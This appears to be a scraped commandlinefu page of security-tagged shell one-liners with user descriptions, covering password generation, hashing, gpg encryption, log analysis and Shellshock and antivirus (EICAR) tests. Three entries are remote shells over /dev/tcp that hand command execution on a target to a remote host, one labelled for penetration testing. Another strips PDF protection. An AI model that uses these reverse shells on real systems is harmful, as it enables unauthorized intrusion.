Commands tagged Security (51)

  • Remove security from PDF document using this very simple command on Linux and OSX. You need ghostscript for this baby to work.


    47
    gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
    deijmaster · 2009-12-14 21:30:22 20
  • Show the number of failed tries of login per account. If the user does not exist it is marked with *. Show Sample Output


    24
    sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
    point_to_null · 2009-03-21 06:41:59 10
  • Thanks to OpenSSL, you can quickly and easily generate MD5 hashes for your passwords. Alternative (thanks to linuxrawkstar and atoponce): echo -n 'text to be encrypted' | md5sum - Note that the above method does not utlise OpenSSL. Show Sample Output


    18
    echo -n 'text to be encrypted' | openssl md5
    Zenexer · 2009-03-18 00:11:46 7
  • By default sudo 'remembers' password for a few minutes, so that you do not need to re-enter password for a series of sudo commands that might follow within a short time duration. However, sometime you might want sudo to instantly 'forget' the password. (Next sudo command will need you to reenter the password) Credit: I first learned this while listening to one of the 'tuxradar' podcast. Show Sample Output


    17
    sudo -K
    b_t · 2010-10-05 12:44:26 3
  • -B flag = don't include characters that can be confused for other characters (this helps when you give someone their password for the first time so they don't cause a lockout with, for example, denyhosts or fail2ban) -s flag = make a "secure", or hard-to-crack password -y flag = include special characters (not used in the example because so many people hate it -- however I recommend it) "1 10" = output 1 password, make it 10 characters in length For even more secure passwords please use the -y flag to include special characters like so: pwgen -Bsy 10 1 output>> }&^Y?.>7Wu Show Sample Output


    15
    pwgen -Bs 10 1
    linuxrawkstar · 2009-12-01 14:33:51 9
  • usage: sitepass MaStErPaSsWoRd example.com description: An admittedly excessive amount of hashing, but this will give you a pretty secure password, It also eliminates repeated characters and deletes itself from your command history. tr '!-~' 'P-~!-O' # this bit is rot47, kinda like rot13 but more nerdy rev # this avoids the first few bytes of gzip payload, and the magic bytes. Show Sample Output


    13
    sitepass() { echo -n "$@" | md5sum | sha1sum | sha224sum | sha256sum | sha384sum | sha512sum | gzip - | strings -n 1 | tr -d "[:space:]" | tr -s '[:print:]' | tr '!-~' 'P-~!-O' | rev | cut -b 2-11; history -d $(($HISTCMD-1)); }
    grokskookum · 2009-10-01 20:14:57 9
  • This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output


    9
    exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
    somaddict · 2012-11-16 02:48:01 6
  • for Mac OS X Show Sample Output


    8
    openssl rand -base64 6
    gikku · 2009-12-02 10:10:58 9
  • This is just a proof of concept: A FILE WHICH CAN AUTOMOUNT ITSELF through a SIMPLY ENCODED script. It takes advantage of the OFFSET option of mount, and uses it as a password (see that 9191? just change it to something similar, around 9k). It works fine, mounts, gets modified, updated, and can be moved by just copying it. USAGE: SEE SAMPLE OUTPUT The file is composed of three parts: a) The legible script (about 242 bytes) b) A random text fill to reach the OFFSET size (equals PASSWORD minus 242) c) The actual filesystem Logically, (a)+(b) = PASSWORD, that means OFFSET, and mount uses that option. PLEASE NOTE: THIS IS NOT AN ENCRYPTED FILESYSTEM. To improve it, it can be mounted with a better encryption script and used with encfs or cryptfs. The idea was just to test the concept... with one line :) It applies the original idea of http://www.commandlinefu.com/commands/view/7382/command-for-john-cons for encrypting the file. The embedded bash script can be grown, of course, and the offset recalculation goes fine. I have my own version with bash --init-file to startup a bashrc with a well-defined environment, aliases, variables. Show Sample Output


    6
    dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o loop,offset=$O F /mnt;'|base64|tr -d '\n');echo "E=\$(echo $E|base64 -d);eval \$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm T)>>F
    rodolfoap · 2013-01-31 01:38:30 11
  • (Please see sample output for usage) Use any script name (the read command gets it) and it will be encrypted with the extension .crypt, i.e.: myscript --> myscript.crypt You can execute myscript.crypt only if you know the password. If you die, your script dies with you. If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string). Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner. Sorry for the chmod on parentheses, I dont like "-" at the end. Thanks flatcap for the subshell abbreviation to /dev/null Show Sample Output


    6
    read -p 'Script: ' S && C=$S.crypt H='eval "$((dd if=$0 bs=1 skip=//|gpg -d)2>/dev/null)"; exit;' && gpg -c<$S|cat >$C <(echo $H|sed s://:$(echo "$H"|wc -c):) - <(chmod +x $C)
    rodolfoap · 2013-03-10 08:59:45 11
  • (Please see sample output for usage) script.bash is your script, which will be crypted to script.secure script.bash --> script.secure You can execute script.secure only if you know the password. If you die, your script dies with you. If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string). Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner. Show Sample Output


    5
    echo "eval \"\$(dd if=\$0 bs=1 skip=XX 2>/dev/null|gpg -d 2>/dev/null)\"; exit" > script.secure; sed -i s:XX:$(stat -c%s script.secure): script.secure; gpg -c < script.bash >> script.secure; chmod +x script.secure
    rodolfoap · 2013-03-09 11:16:48 9
  • This will encrypt your single file and create a filename.gpg file. Option: * -c : Encrypt with symmetric cipher To decrypt dhinesh@ubuntu:~$ gpg -c sample.rb.gpg Show Sample Output


    4
    gpg -c <filename>
    Dhinesh · 2011-11-21 06:26:59 5
  • You can search for CVEs at https://security-tracker.debian.org/tracker/ or use --report to get full links. This can be added to cron, but unless you're going to do manual patches, you'd just be torturing yourself.


    4
    debsecan --format detail
    pdxdoughnut · 2015-10-22 18:46:41 6
  • This is a quick and easy way of encrypting files in a datastream, without ever really creating an output file from gpg. Useful with cron also, when file(s) have to be sent based on a set schedule.


    3
    cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
    slashdot · 2009-10-19 20:38:37 3
  • #4345 also works under windows


    3
    gswin32c -dSAFER -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -sFONTPATH=%windir%/fonts;xfonts;. -sPDFPassword= -dPDFSETTINGS=/prepress -dPassThroughJPEGImages=true -sOutputFile=OUTPUT.pdf INPUT.pdf
    till · 2011-05-24 14:08:20 5
  • <space>secret_command;export HISTCONTROL= This will make "secret_command" not appear in "history" list.


    3
    export HISTCONTROL=ignorespace
    gorynka · 2013-07-25 08:31:10 4
  • If this command prints 'x' then your shell is vulnerable. Null output confirms that you are protected. Further reading: http://allanmcrae.com/2014/09/shellshock-and-arch-linux/ Show Sample Output


    3
    x="() { :; }; echo x" bash -c :
    malathion · 2014-12-08 22:21:18 5
  • Someone might attack on your system. You can drop attacker IP using IPtables. However, you can use route command to null route unwanted traffic. A null route (also called as blackhole route) is a network route or kernel routing table entry that goes nowhere. Matching packets are dropped (ignored) rather than forwarded, acting as a kind of very limited firewall. The act of using null routes is often called blackhole filtering. Show Sample Output


    2
    sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
    JackiesJungle · 2009-02-23 19:58:09 8

  • 2
    arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | awk '/^0.0.0.0/ {print $2}'`| awk '{print $3}')
    aramosf · 2009-03-25 09:53:10 6

  • 2
    denyhosts-remove $IP_ADDRESS
    linuxrawkstar · 2009-11-19 16:28:34 9
  • Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/


    2
    exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
    truemilk · 2010-03-18 17:25:08 4
  • This should automatically mount it to /media/truecrypt1. Further mounts will go to /media/truecrypt2, and so on. You shouldn't need sudo/su if your permissions are right. I alias tru='truecrypt' since tr and true are commands. To explicitly create a mount point do: tru volume.tc /media/foo To make sure an GUI explorer window (nautilus, et al) opens on the mounted volume, add: --explorer To see what you currently have mounted do: tru -l To dismount a volume do: tru -d volume.tc. To dismount all mounted volumes at once do: tru -d Tested with Truecrypt v6.3a / Ubuntu 9.10


    2
    truecrypt volume.tc
    rkulla · 2010-04-14 18:34:09 2

  • 2
    bash -i >& /dev/tcp/IP/PORT 0>&1
    rux · 2011-02-16 11:54:29 2
  • Downloads Bluetack's level 1 IP blocklist in .p2p format, suitable for various Bittorrent clients.


    2
    wget -O - http://list.iblocklist.com/\?list\=ydxerpxkpcfqjaybcssw\&fileformat\=p2p\&archiveformat\=gz | gunzip > ~/ipfilter.p2p
    lordtoran · 2015-10-11 13:04:08 9
  • Test whether real-time virus detection is working by running this command and checking for eicar.com in /tmp. Requires real-time scanning to be enabled and active on the /tmp directory. If scanning is active, the file should be quarantined/deleted (depending on your settings) moments after running this command. If not, the (harmless) test file should remain in your /tmp directory.


    1
    echo 'K5B!C%@NC[4\CMK54(C^)7PP)7}$RVPNE-FGNAQNEQ-NAGVIVEHF-GRFG-SVYR!$U+U*' | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' > /tmp/eicar.com
    cyberscribe · 2010-08-13 21:39:35 5
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encode HTML entities
Encodes HTML entities from input (file or stdin) so it's possible to directly past the result to a blog or HTML source file.

One command line web server on port 80 using nc (netcat)
Very simple web server listening on port 80 will serve index.html file or whatever file you like pointing your browser at http://your-IP-address/index.html for example. If your web server is down for maintenance and you'd like to inform your visitors about it, quickly and easily, you just have to put into the index.html file the right HTML code and you are done! Of course you need to be root to run the command using port 80.

List your MACs address
List all MAC addresses on a Linux box. sort -u is useful when having virtual interfaces.

Get and read log from remote host (works with log on pipe, too)

DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
This one-liner will the *delete* without any further confirmation all 100% duplicates but one based on their md5 hash in the current directory tree (i.e including files in its subdirectories). Good for cleaning up collections of mp3 files or pictures of your dog|cat|kids|wife being present in gazillion incarnations on hd. md5sum can be substituted with sha1sum without problems. The actual filename is not taken into account-just the hash is used. Whatever sort thinks is the first filename is kept. It is assumed that the filename does not contain 0x00. As per the good suggestion in the first comment, this one does a hard link instead: $ find . -xdev -type f -print0 | xargs -0 md5sum | sort | perl -ne 'chomp; $ph=$h; ($h,$f)=split(/\s+/,$_,2); if ($h ne $ph) { $k = $f; } else { unlink($f); link($k, $f); }'

Convert CSV to JSON
Replace 'csv_file.csv' with your filename.

Alternative size (human readable) of files and directories (biggest last)

Convert every eps in a directory to pdf
Converts every *.eps file to a *.pdf file

A signal trap that logs when your script was killed and what other processes were running at that time
trap is the bash builtin that allows you to execute commands when the current script receives a particular signal. Uses $0 for the script name, $$ for the script PID, tee to output to STDOUT as well as a log file and ps to log other running processes.

Rename .JPG to .jpg recursively
Recursively rename .JPG to .jpg using standard find and mv. It's generally better to use a standard tool if doing so is not much more difficult.


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